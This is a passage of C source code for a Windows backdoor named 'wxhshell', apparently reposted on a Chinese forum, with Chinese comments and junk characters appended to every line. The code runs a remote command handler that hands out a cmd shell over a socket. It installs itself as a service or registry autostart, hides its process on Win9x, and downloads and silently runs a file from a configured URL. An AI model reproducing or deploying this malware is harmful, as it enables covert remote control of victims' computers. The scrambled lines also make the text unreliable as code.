  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f]CXu3w(J  
  else h:|qC`}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wmLs/:~  
  } z Iu'[U  
  else { S,he6zS  
{`@G+JV~Jw  
    switch(cmd[0]) { |CyE5i0  
  5$k:t  
  // 帮助 I!K6o.|1  
  case '?': { 3!]rmZ-W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xA*<0O\V  
    break; > ~O.@|  
  } tWc Hb #  
  // 安装 VOLj>w  
  case 'i': { gPPkT"  
    if(Install()) WNtW|I V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ww1[rCh\+  
    else ]/L0,^RI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <e6#lFQqK  
    break; OneY_<*a<  
    } Q=$2c[Uk  
  // 卸载 J|73.&B  
  case 'r': { >hIu2jm  
    if(Uninstall()) &};zvo~P.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +N U G  
    else abVmkdP_s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eHUOU>&P]  
    break; K[YyBE id  
    } ~D>p0+-c  
  // 显示 wxhshell 所在路径 !4+<<(B=E  
  case 'p': { ox.F%)eQ  
    char svExeFile[MAX_PATH]; $XH^~i;  
    strcpy(svExeFile,"\n\r"); Eu3E-K@y  
      strcat(svExeFile,ExeFile); ");a3hD  
        send(wsh,svExeFile,strlen(svExeFile),0); `R^gU]Z,  
    break; $6IJ P\  
    } Nh +H9  
  // 重启 5z)~\;[ -  
  case 'b': { }Q+|W=2t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JBZ@'8eqi]  
    if(Boot(REBOOT)) WcGS9`m/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @=u3ZVD  
    else { GM<9p_ B  
    closesocket(wsh); _Fg5A7or  
    ExitThread(0); Y'X%Aw;`  
    } ?a]mDx>xh  
    break; J'r^/  
    } GQ ;;bcj&  
  // 关机 B9S@(/"7  
  case 'd': { lyhiFkO iH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A=0'Ks  
    if(Boot(SHUTDOWN))  Vxt+]5X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (QB2T2x  
    else { MolgwVd  
    closesocket(wsh); )+Pus~w  
    ExitThread(0); 5"H=zJ=r  
    } \~wMfP8  
    break; $ocdI5  
    } 9lE_nc  
  // 获取shell >yDZw!C  
  case 's': { />>\IR  
    CmdShell(wsh); |y!A&d=xYn  
    closesocket(wsh); ,/unhfs1q  
    ExitThread(0); DtnEi4h,  
    break; ],].zlN  
  } \'j|BJ~L f  
  // 退出 % & bY]w  
  case 'x': { ,hmL/K0"(5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &)<)^.@3G^  
    CloseIt(wsh); sDV Q#}a  
    break; V(*(F7+  
    } cB&:z)i4  
  // 离开 zbPqYhJzA  
  case 'q': { RD&PDXT4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z3!`J&  
    closesocket(wsh); -s/ea~=R  
    WSACleanup(); > Nr#O  
    exit(1); #X"@<l4F  
    break; kG*~ |ma  
        } fF kj+  
  } |wj?ed$ f  
  } +ck}l2&#  
FN73+-:n:j  
  // 提示信息 i}?>g-(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y<8vw d  
} /a o5FL  
  } U/BR*Zn]*  
:M5l*sIO2  
  return; zx7{U8*`<  
} &kw@,];4Z  
&+R?_Ooibk  
// shell模块句柄 ehY5!D1Q  
int CmdShell(SOCKET sock) LOJAWR9$^U  
{ [ikOb8 G#  
STARTUPINFO si; Af{"pzY  
ZeroMemory(&si,sizeof(si)); Y6d@h? ht  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vr^qWn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0ZO2#>gh$  
PROCESS_INFORMATION ProcessInfo; @=kSo -SX  
char cmdline[]="cmd"; as=LIw}Q4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `P ,d$H "  
  return 0; PFK  '$  
} n(]-y@X0_  
;*&-C9b  
// 自身启动模式 Yz<1 wt7;  
int StartFromService(void) @s^-.z  
{ #3d(M  
typedef struct 7VI*N)OZ8  
{ @\I#^X5lv  
  DWORD ExitStatus; Rws3V"{`[  
  DWORD PebBaseAddress; -Y;3I00(  
  DWORD AffinityMask; *uvQ\.  
  DWORD BasePriority; Xn\jO>[Ef  
  ULONG UniqueProcessId; #R RRu2  
  ULONG InheritedFromUniqueProcessId; 7=, ;h  
}   PROCESS_BASIC_INFORMATION; N17RLz *\  
& ZB  
PROCNTQSIP NtQueryInformationProcess; E1f\%!2l  
2GStN74Xr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "C3/T&F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mb7I[5v  
>-{Hyx  
  HANDLE             hProcess; !0E&@X:-  
  PROCESS_BASIC_INFORMATION pbi; WOf 4o  
]M'=^32  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L&OwPd  
  if(NULL == hInst ) return 0; 61 ~upQaR  
t&Og$@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BL58] P84  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xAP+FWyV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (_{y B[z>`  
'[O;zJN;  
  if (!NtQueryInformationProcess) return 0; uRe'%?W  
da~],MN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tFl"n;~T  
  if(!hProcess) return 0; &YeA:i?  
NW)1#]gg%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gv{ >`AN  
FU<Jp3<%  
  CloseHandle(hProcess); XBw)H  
dGTsc/$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :p6M=  
if(hProcess==NULL) return 0; O<W_fx8_'  
-s'-eQF J  
HMODULE hMod; ?P c'C  
char procName[255]; pFz`}?c0  
unsigned long cbNeeded; !$>R j  
j$5LN.8J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eKqk= (  
EAby?51+  
  CloseHandle(hProcess); F1Bq$*'N$w  
_t}WsEQ+P  
if(strstr(procName,"services")) return 1; // 以服务启动 5+ MS^H  
$ o#V#  
  return 0; // 注册表启动 8SS|a  
} h3@v+Z<}  
HiJE}V;Vq  
// 主模块 P}`H ~N~  
int StartWxhshell(LPSTR lpCmdLine) B^jc3 VsR  
{ fa2kG&, _  
  SOCKET wsl; S`m]f5u|  
BOOL val=TRUE; BJo*'US-Q  
  int port=0; mU9kVx1+  
  struct sockaddr_in door; ^L&iR0  
jOD?|tK&  
  if(wscfg.ws_autoins) Install(); ib791  
N=g"(%  
port=atoi(lpCmdLine); SOvF[,+  
dN[\xVcj  
if(port<=0) port=wscfg.ws_port; 1 I",L&S1  
Ef13Q]9|  
  WSADATA data; &UlWCOo8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CQDkFQq-dq  
1hNq8*|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n>U5R_T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6/dI6C!  
  door.sin_family = AF_INET; 4]}'Hln*U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H~z`]5CN  
  door.sin_port = htons(port); mXfXO*Cnp  
VBcPu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QUQ'3  
closesocket(wsl); `,*5wBC  
return 1; 1D!<'`)AY  
} liz~7RY4  
WvZ8/T'x  
  if(listen(wsl,2) == INVALID_SOCKET) { 0NX,QD  
closesocket(wsl); ~2khgZ  
return 1; ^@NU}S):yN  
} pIKPXqA  
  Wxhshell(wsl); F`]2O:[  
  WSACleanup(); _ZkI)o  
GF=g<H M  
return 0; /fV;^=:8c  
q?/a~a  
} T:W4$P  
)p%E%6p  
// 以NT服务方式启动 w$-6-rE]d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S#} KIy  
{ )q3p-)@kQ  
DWORD   status = 0; 6<(.4a?  
  DWORD   specificError = 0xfffffff; fXQNHZ|4  
}U5yQ%N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jo23P.#<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1|-Dj|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \=0Vi6!Mc  
  serviceStatus.dwWin32ExitCode     = 0; x{ WD;$J  
  serviceStatus.dwServiceSpecificExitCode = 0; "wh , Ue  
  serviceStatus.dwCheckPoint       = 0; fPW@{~t  
  serviceStatus.dwWaitHint       = 0; "OnGE$   
-_eLf#3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $5Ff1{  
  if (hServiceStatusHandle==0) return; ))'<_nD  
p0<\G  
status = GetLastError(); <B8!.|19  
  if (status!=NO_ERROR) 0b(N^$js'  
{ K:30_l<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OX\F~+  
    serviceStatus.dwCheckPoint       = 0; ;q6Ki.D  
    serviceStatus.dwWaitHint       = 0; "C0Q(dr/n  
    serviceStatus.dwWin32ExitCode     = status; b(O3@Q6[  
    serviceStatus.dwServiceSpecificExitCode = specificError; t |A-9^t'!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7o5BXF  
    return; Czu\RXJR  
  } 8StgsM  
_/5H l`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S\!ana])  
  serviceStatus.dwCheckPoint       = 0; !H>R%g#28_  
  serviceStatus.dwWaitHint       = 0; M?uC%x+S$_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gQ1;],_  
} E\pL!c  
\&gB)czEO  
// 处理NT服务事件,比如:启动、停止 HEc+;O1<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XFV!S#yEZ  
{ ) M BQuiL  
switch(fdwControl) w %BL  
{ M}v/tRI  
case SERVICE_CONTROL_STOP: |64~ K\X  
  serviceStatus.dwWin32ExitCode = 0; K~eh P[^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P;]F(in=  
  serviceStatus.dwCheckPoint   = 0; `(/w y  
  serviceStatus.dwWaitHint     = 0; AoL2@C.C%D  
  { :yjKL^G>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WWHoi{ q  
  } ?R.j^ S^  
  return; @A ^;jk  
case SERVICE_CONTROL_PAUSE: k-OPU ,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lrq .Ab#  
  break; m#Z# .j_2  
case SERVICE_CONTROL_CONTINUE: Is?La  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9ahWIO %  
  break; ^V Zk+'4  
case SERVICE_CONTROL_INTERROGATE: a\ YV3NJ/A  
  break; PQ$%H>{  
}; +-CtjhoS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P:]^rke~&  
} _?0}<k Q&  
VUR|OV%  
// 标准应用程序主函数 |02gupqqi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i|*)I:SHU  
{ 'o>B'$  
-"60d @.  
// 获取操作系统版本 H6 HVu |  
OsIsNt=GetOsVer(); @eIJ]p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r/6o \-  
tQYM&6g  
  // 从命令行安装 +@k+2?] FO  
  if(strpbrk(lpCmdLine,"iI")) Install(); eu|;eP-+d  
6wECo  
  // 下载执行文件 !.(P~j][  
if(wscfg.ws_downexe) { I( 7NQ8H x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VYImI>.t{  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ob`d  
} =\:qo'l  
s?,Ek  
if(!OsIsNt) { Opc ZU{4 b  
// 如果时win9x,隐藏进程并且设置为注册表启动 0eu$ W  
HideProc(); $ Kncvu  
StartWxhshell(lpCmdLine); Zu("#cA.H  
} xx9 g''Q  
else $#pP Z  
  if(StartFromService()) KRMQtgahc  
  // 以服务方式启动 OCaq3_#tZ  
  StartServiceCtrlDispatcher(DispatchTable); x%!s:LVX  
else f-G :uI_  
  // 普通方式启动 h2J/c#Qvh  
  StartWxhshell(lpCmdLine); F Yzi~L  
3! oi+_  
return 0; dD|OSB7 I7  
}
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只看该作者 1 发表于: 2006-10-10
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